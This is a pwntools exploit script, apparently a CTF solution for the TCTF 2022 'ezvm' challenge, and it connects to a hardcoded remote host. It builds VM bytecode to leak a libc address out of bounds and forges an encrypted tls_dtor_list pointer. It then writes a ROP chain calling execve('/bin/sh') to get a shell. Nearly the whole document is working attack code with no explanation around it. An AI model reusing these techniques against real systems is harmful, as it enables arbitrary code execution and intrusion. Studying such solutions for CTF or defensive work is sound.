tctf2022ezvm

from pwn import *
#r=process('./ezvm')
r=remote('202.120.7.210',40241)


code =b'\x00'*0

def push(rig):
	global code
	code +=p8(0)+p8(rig)

def pop(rig):
	global code
	code +=p8(1)+p8(rig)

def add():
	global code
	code+=p8(2)

def sub():
	global code
	code +=p8(3)

def imul():
	global code
	code +=p8(4)

def div():
	global code
	code+=p8(5)

def yu():
	global code
	code +=p8(6)

def left():
	global code
	code+=p8(7)

def right():
	global code
	code +=p8(8)

def And():
	global code
	code +=p8(9)

def Or():
	global code
	code +=p8(11)

def xor():
	global code
	code +=p8(12)

def judge0():
	global code
	code +=p8(13)

def jmp(address):
	global code
	code +=p8(14)+p64(address)

def jnz(address):
	global code
	code +=p8(15)+p64(address)

def jz(address):
	global code
	code +=p8(16)+p64(address)

def cmpequ():
	global code
	code+=p8(17)

def cmpsml():
	global code
	code+=p8(18)
def cmpbig():
	global code
	code +=p8(19)

def mov_r_i(rig,num):
	global code
	code+=p8(20)+p8(rig)+p64(num)

def mov_m_r(rig,offset):
	global code
	code +=p8(21)+p8(rig)+p64(offset)
def mov_r_m(rig,offset):
	global code
	code +=p8(22)+p8(rig)+p64(offset)

def clear():
	global code
	code = b'\x00'*0
#size(stack) = 0x800 ====>we can use it to save 0x100 nums

def runcode(code,code_size,mem_size):
	
	r.sendlineafter("Please input your code size:",str(code_size))
	r.sendlineafter("Please input your memory count:",str(int(mem_size/8)))
	r.sendlineafter("Please input your code:",code)

mov_r_i(0,0x111111)
mov_r_i(1,0x222222)
mov_r_i(2,0x333333)
mov_r_i(3,0x444444)

push(0)
push(1)
push(2)
push(3)
#context.log_level = 'debug'
print(len(code))
r.sendlineafter("Welcome to 0ctf2022!!",'aaa')

runcode(code,0xf0,0x600)
#gdb.attach(r,'brva 0x000001582')

clear()


#leak the libc

mov_r_m(0,0)
mov_r_m(0,0)
mov_r_i(1,0x219ce0)
mov_r_i(1,0x219ce0)

push(2)
push(3)
push(0)
push(1)
sub()
pop(0)#put libc into heap

mov_r_i(1,0x14000000000000)
mov_m_r(1,0x3a-0xa)
mov_m_r(0,0x3b-0xa)
mov_r_i(1,0xfffffffffffe700e)#jmp
mov_m_r(1,0x3c-0xa)
mov_r_i(2,0xffff)#addr
mov_m_r(2,0x3d-0xa)

print(len(code))
r.sendlineafter("continue",'')
runcode(code,0xf0,0x600)
clear()

#we have the libc in mem
tls_offset = 0x0028c0  #libc - 
tls_dtor_list_offset = 0x0416d8#libc-
secret_offset = 0x0028c0-0x30
heap_offset = 0x43ff0
sec_heap_offset = 0x0082ec
tls_dtor_list_heap_offset = 0x0082bb
#gdb.attach(r)
#code3 we need to malloc  a big one

jmp(0x000186-9)

push(0)
mov_m_r(0,0)	#memery[0]  ==libc
# mov_r_i(1,secret_offset)
# push(1)
# sub()
# pop(2)
# mov_m_r(2,1)	#memery[1] = secret_address
sec = 0x5143329d0ccc697
mov_r_i(1,sec)
mov_m_r(1,sec_heap_offset)	#secret = 0xcafebabedeadbeef



pos_offset = int(0x100/8)
#read rop to che chunk 
'''rop
leave_ret = libc + 0x000562ec
prdi = libc + 0x002a3e5
prsi = libc + 0x02be51
prdx_pr12 = libc +0x011f497
binsh = libc + 0x001d8698
execve = libc + 0xeb0f0

addr = ((leave_ret^sec)<<0x11)&0xffffffffffff8000
addr += ((leave_ret^sec)>>0x2f)&0x7fff


rop = p64(prdi) + p64(binsh)
rop += p64(prsi) + p64(0)
rop += p64(prdx_pr12) + p64(0)*2
rop += p64(execve)

'''
leave_ret =  0x000562ec
prdi =  0x002a3e5
prsi =  0x02be51
prdx_pr12 = 0x011f497
binsh = 0x001d8698
execve =  0xeb0f0



#write leave ret
push(0)
mov_r_i(1,leave_ret)
push(1)
add()
mov_r_i(1,sec)
push(1)
xor()
pop(2)
push(2)		#2 xor save
push(2)

mov_r_i(1,0x11)
push(1)
left()
mov_r_i(1,0xffffffffffff8000)
push(1)
And()
pop(2)		#addr lef
pop(3)		

push(3)		#xor res
mov_r_i(1,0x2f)
push(1)
right()
mov_r_i(1,0x7fff)
push(1)
And()
push(2)
add()
pop(2)				#leave_ret_encrept

mov_m_r(2,pos_offset)
pos_offset+=1

#pop _rdi
push(0)
mov_r_i(1,prdi)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1

#binsh
push(0)
mov_r_i(1,binsh)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1

#pop rsi
push(0)
mov_r_i(1,prsi)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1

#0
pos_offset+=1

#prdx 0 0
push(0)
mov_r_i(1,prdx_pr12)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=3

#execve
push(0)
mov_r_i(1,execve)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)


#change the tls_dtor_list
push(0)
mov_r_i(1,heap_offset-0x100)
push(1)
sub()
pop(2)
mov_m_r(2,tls_dtor_list_heap_offset+0x20)	#list = heap_address


push(4)

#gdb.attach(r,'b exit')
context.log_level = 'debug'
print(hex(len(code)))
r.sendlineafter("continue",'')
r.sendlineafter("Please input your code size:",str(0x1f0))
r.sendlineafter("Please input your memory count:",str(0x6000000000008000))
r.sendlineafter("Please input your code:",code)
r.interactive()